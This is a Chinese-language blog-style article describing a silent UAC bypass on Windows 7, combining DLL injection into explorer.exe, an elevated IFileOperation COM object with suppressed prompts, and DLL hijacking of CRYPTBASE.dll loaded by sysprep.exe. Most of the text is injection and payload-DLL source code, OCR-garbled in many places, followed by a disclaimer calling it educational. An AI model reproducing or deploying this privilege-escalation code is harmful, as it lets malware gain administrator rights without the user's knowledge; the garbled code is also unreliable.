微软在vista及其后的系统中,加入了一项新的技术,即UAC (User AccountControl,用户账户控制),它要求用户在执行可能会影响计算机运行的操作或执行更改影响其他用户的设置的操作之前,提供权限或管理员密码。当以非r administrator用户执行程序的时候,默认都是普通权限,只有以administrator账户运行才是管理员权限。如,向windows文件夹和program files文件夹复制文件默认情况下都是不允许的,除非你提权。微软的UAC真的那么完美吗?有突破的方法吗?下文介绍一种完美突破UAC的方法,用户完全无法发觉(排除杀软干扰)鉴于vista的UAC糟糕设计,微软在WIN7系统重新设计了UAC,让UAC提示少了很多。所以微软提供了几组组件绕过UAC。这几个组件都要用到。具体有4点,简单介绍下。
1.某些程序在运行时直接获得管理员权限,UAC不会提示。虽然微软并没有提供白名单功能,但是系统内部应该存在微软自己设置的白名单。
2.某些特定进程可以创建特定的COM对象,且不会出现UAC提示。虽然进程并没有提升权限,但是我们可以用创建的COM对象做需要管理员权限才能做的事情。
3.某些需要权限才能创建的COM对象(IFi leOperation)。这些对象如果被创建成功,就具有admin权限了。
4.在win7默认启用的一个特性,这个特性并不检测需要提权的代码的出处它只检测这段代码运行在哪个进程内。且子进程与父进程有相同的权限。还有一点,不属于UAC的范畴,在本方法突破UAC必不可少。程序在加载dII时候会遵循一个规则:如果被加载的dII在系统”Known DLLs”列表中那么直接从system32目录查询文件,如果不在”Known Dlls“中,就优先从当前目录查询。我们要找到这样一个程序:在启动的时候就能获得高权限(符合第一点),并且目标程序加载的DLL不在”Known Dlls”列表中,然后,我们将特殊的DLL复制到目标程序所在的目录中并改为目标程序加载的DLL的文件名,再运行目标程序,这是特殊的DLL就会被加载。而这样的程序一般在system32目录及其子目录下,system32目录就不用想了,因为即使找到了符合要求的程序,其加载的dI I必定在system32目录下,你必须要删除它加载的DLL,然后复制特殊的DLL到system32目录下并改名。但是,即使有了高权限,你也无法删除system32目录下的系统DLL文件。所以目标程序只能在system32的子目录下。还好有个完全符合要求的程序:c:\wi ndows\system32\sysprep\sysprep.exe,其加载的DLL是CRYPTBASE.dII,这个DLL不在”Known Dlls”列表中。
在普通权限下,是没有权限往系统目录中写文件(创建文件夹可以)。现在我们的主要目标是将CRYPTBASE.dI I复韦0至到 c:\wi ndows\system32\sysprp\sysprp.exe目录下。
结合第二点和第三点,有个方法可以满足我们的需求。我们可以创建IFi leOperation这个COM对象来实现文件的复制,但是这样会弹出UAC提示,显然,弹出UAC不是我们想要的结果。第二点说过,一些特定的进程创建COM对象的时候,不会弹出UAC提示。我发现,这些进程一般是微软提供的explorer.exe,taskmgr.exe,notepad.exe等系统程序。
结合上面说的,我们就可以完美突破win7的UAC了。具体的方法是:注入explorer.exe(或者taskmgr.exe等程序),让其创建IFi leOperation对象并操作IFi leOperation对象将特殊的DLL复制到c:\wi ndows\system32\sysprp目录下,并改名为CRYPTBASE.dI I,之后运行c:\wi ndows\system32\sysprp\sysprp.exe,这个程序会主动加载CRYPTBASE.dI I,我们完全可以编写个CRYPTBASE.dI I(即特殊的DLL)中,由于是sysprep.exe加载的的DLL,所以这个DLL拥有管理员的权限。就可以突破UAC了,不会有任何提示,完全静默的。首先,我们要注入到explorer.exe中,可以用创建远程线程和DLL注入结合的方法。创建远程线程加载我们的DLL,我注入的DLL的文件名是mydll.dlI。主程序的功能是注入代码,具体的见附件中的uacpass2工程,其主要代码如下:
[code] typedef struct—inj { pLoadLibraryW myloadl ibraryw://////LoadLibraryW函数的地址 pFreeLibrary myfreelibrary://////FreeLibrary函数的地址 wchar_t*szFul IDI IName://////要注入的DLL的绝对路径 】inj,*p inj: 这里是一些变量的声明,这里就省略了 //查找explorer进程,并且以PROCESS_ALL_ACCESS的权限打开 hSnap=CreateToolhelp32Snapshot (TH32CS_SNAPPROCESS, 0): i f (hSnap==INVAL l D_HANDLE_VALUE) { return 0: 】 if (FALSE==Process32Fi rst (hSnap, &pey)) return 0: do { if (NULL==wcscmp (L"explorer. exe,,,(const//wchar_t*)&pey. szExeFi le)) { i f (NULL== (hproc=OpenProcess (PROCESS_ALL_ACCESS, FALSE, pey. th32Process l D))) return 0: else break: 】 】//whi le//(Process32Next (hSnap, &pey)): hKerneI=GetModuleHandle (L"Kerne I 32. dI l"): //填充myinj1结构 my injl. my I oadl//ibraryw= (pLoadLibraryW) GetProcAddress (hKernel, "LoadLib raryW"): my injl. myfreel//ibrary= (pFreeL ibrary) GetProcAddress (hKernel, "FreeLibra ry"): //获取mydll.dII的绝对路径,mydll.dII和本程序在同一目录下 GetCur rentDi rectoryW(s i zeof (szbuffer), szbuffer): wcscat (szbuffer, L" \\mydl l.dI l"): //将mydll.dI I的绝对路径写入explorer. exe进程的内存中,并且保存地址 my injl. szFul IDI IName= (wchar_t*) Vi rtuaIAI locEx (hproc,0,(wcslen (szbuff er) +1) *s i zeof (wchar_t), MEM_COMMITl PAGE_READWRITE, PAGE_EXECUTE_READWRITE): Wr iteProcessMemory (hproc, my i njl. szFul IDI IName, szbuffer,//(wcslen (szbuf fer) +1) *s i zeof (wchar_t), &length): //将myinjl结构写入explorer. exe进程内存中,这个结构保存了LoadLibraryW 和FreeLibrary函数的地址 lpparamter=Vi rtuaIAI locEx (hproc,0,s i zeof (inj), MEM_COMMIT//l PAGE_READWRITE, PAGE_EXECUTE_READWRITE): Wr iteProcessMemory (hproc,//lpparamter, &my i njl,s i zeof (inj), &length): //将注入的代码写入Explorer. exe进程内存中,注入的代码主要功能就是加载 mydl I.dI I并且在加载后free. pstart=Vi rtuaIAI locEx (hproc,0,(SIZE_T) &RemoteEnd- (SIZE_T) &RemoteStar t, MEM_COMMIT//l//PAGE_READWRITE, PAGE_EXECUTE_READWRITE): Wr iteProcessMemory (hproc, pstart, &RemoteStart, (SIZE_T) &RemoteEnd- (SIZ E_T) &RemoteStart, &length): //在Explorer. exe中创建线程 CreateRemoteThread (hproc,0,0,(LPTHREAD_START_ROUTINE) pstart, lpparamt er,0,0): [/code] 下面我们看看RemoteStart的代码: [code] static void RemoteStart(PVOID lpparamter) { pinj pminj; HMODULE hlib; pminj=(pinj) lpparamter://lpparamter指向inj结构体 h I ib=0; hI//ib=pminj->my I oadl//ibraryw (pminj->szFul//IDI//IName): pminj->myfreel ibrary (hI ib): 】 [/code] 接下来就是在mydll.dII中创建IFi leOperation对象,并且操作它复制文件了, 然后运行sysprep. exe来加载特殊的CRYPTBASE. dII。附件中的(mydlI工程) [code] BOOL APIENTRY DIIMain( HMODULE hModule, DWORD//ul_reason_for_cal I, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH://////表示DLL被力口载 { BIND_OPTS3 bo; IFi leOperation*c//ifop=0; IShel I Item *plstsou=0; IShel I Item *plstdes=0; IShel I Item *plstdel=0; SHELLEXECUTEINFO seinfo={0】: wchar_t//szMyFul I [128]= {0】: //以单线程的方式创建COM对象 Colnitial ize (NULL): //有时候CoGetobject通过命名绑定创建COM对象并不会成功,则要调用 CoCreatelnstance创建COM对象。 if (S_OK==CoCreatelnstance(一一uuidof (Fi leOperat i on),0,CLSCTX_LOCAL_ SERVERICLSCTX_INPROC_SERVERICLSCTX_INPROC_HANDLER,____uu i dof (IFi leOperat i o n),(void**) &ifop) l l S_OK==CoGetObject (L"Elevat i on: Admi ni strator! new://{3ad05575-8857-4850-9277 -11b85bdb8e09)”,&bo,一一uuidof (IFi//leOperat i on),(vo i d**) &ifop)) /*设置IFI ieOperation的Flag,这个参数很重要
用IFi leOperation这个COM对象来操作文件,和EXPLOERE. exe效果一样,复制文件的时候,当文件已经存在,会弹框请求是否覆盖,当要提权的时候,也会请求是否继续。所以要通过设置Flags让这些对话框都不显示出来,即静默。
FOF_NOCONFIRMATION//对于对话框,全部选择是FOF_SILENT////不显示进度条 FOFX_REQUIREELEVATION////用户期望提升权限,不显示对话框*/ i f (S_OK==i fop->SetOperat i onFlags (FOF_NOCONFIRMATION//l FOF_SILENT//l//FOFX_REQUIREELEVATION 》 //复制e:\mycryptbase. dI I到c: \\wi ndows\\system32\\sysprep目录下并 改名为CRYPTBASE.dI I if (S_OK==SHCreateltemFromPars i ngName (L"e: \\myCRYPTBASE . dII”.0.一一uuid of (IShel I Item),//(void**)&pl stsou)) if (S_OK==SHCreateltemFromPars i ngName (L"c: \\wi ndows\\system32\\syspre p",0,__uuidof (IShel I Item),(void**)&pl stdes)) if (S_OK==i fop->Copyltem (pl stsou, plstdes, L"CRYPTBASE. dI I”,0)) if (S_OK==i fop->PerformOperat i ons())//////执行操作 { //调用shel lexecuteexw系统函数来运行sysprep. Exe sei nfo. cbS i ze=s i zeof (SHELLEXECUTEINFO): se i nfo. fMask=SEE_MASK_NOCLOSEPROCESS: sei nfo.//lpFi le=L"c: \\wi ndows\\system32\\sysprep\\sysprep. exe,,: seinfo. lpDirectory=0; sei nfo. nShow=SW_HIDE://////隐藏程序窗口 seinfo. lpParameters=0; if (Shel IExecuteExW (&sei nfo)//&&sei nfo. hProcess) { Wa itForSi ngleObject (sei nfo. hProcess,//INFINITE): 】 //等待sysprep. exe执行完毕,删除目录下的CRYPTBASE. dII文件 if (S_OK==SHCreateltemFromPars i ngName (L"c: \\wi ndows\\system32\\syspre p\\CRYPTBASE. dI I”,0,一一uuidof (IShel I//Item),(vo i d**) &plstdel)) { if (S_OK==i fop->De I eteltem (plstdel,0)) ifop->PerformOperations(): ) 】 if (plstdel)////plstdel->Release(): if (plstdes)//plstdes->Release(): if (plstdes)//plstdes->Release(): if (ifop)////ifop->Release(): 】 break: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break: 】 return TRUE; 】
这时在CRYPTBASE. dI I中,我们就拥有管理员权限。本示例中,myCRYPTBASE. dII启动12. exe的测试程序,这个测试程序试图在system32目录下创建hack. txt文件。由于CRYPTBASE. dI I是我们自己编写的DLL, sysprep在加载后,会弹框提示用户加载错误,所以在启动12. exe后DLL_PROCESS_ATTACH返回前调用Ex itProcess来结束sysprep. exe。由于sysprep. exe是以管理员权限运行的,而由于WIN7的特性,参考上面的第4点,所以DLL也是管理员权限,DLL执行createprocess创建的子进程也是管理员权限(即12.exe)。
下面是演示效果,由于杀软都拦截了CreateRemoteThread这个函数,所以在创建远程线程的时候,杀软会有提示。将myCRYPTBASE.dI I放在e盘的根目录下,将测试程序1 2.exe放在c盘的根目录下。之后运行uacpass2.exe(确保mydll.dlI与uacpass2在同一个目录下)。
在UAC开启的情况下,直接运行1 2.exe是会提示打开失败:
现在运行uacpass2.exe,看效果:
总结
微软下面的几点导致这个UAC突破方法的产生。
1.//对explorer等进程的特殊照顾,否则注入explorer创建IFi leOperation会弹出UAC提示。
2.//对CRYPTBASE.dI I的疏忽,因为这个DLL不在”Known Dlls”目录中,才会让人有机可乘。
3.//UAC需要提权时候的检测不严格,DLL中有跟宿主一样的权限。当然微软做的这些都是因为减少UAC的提示次数,否则大家将会用对待VISTA的态度来对待WIN7,关闭UAC。
本文的所有代码在vs2010中通过编译,在WIN7(旗舰版,专业版)通过测试。
本文内容所提及均为本地测试或经过目标授权同意,旨在提供教育和研究信息,内容已去除关键敏感信息和代码,以防止被恶意利用。文章内提及的漏洞均已修复,作者不鼓励或支持任何形式的非法行为。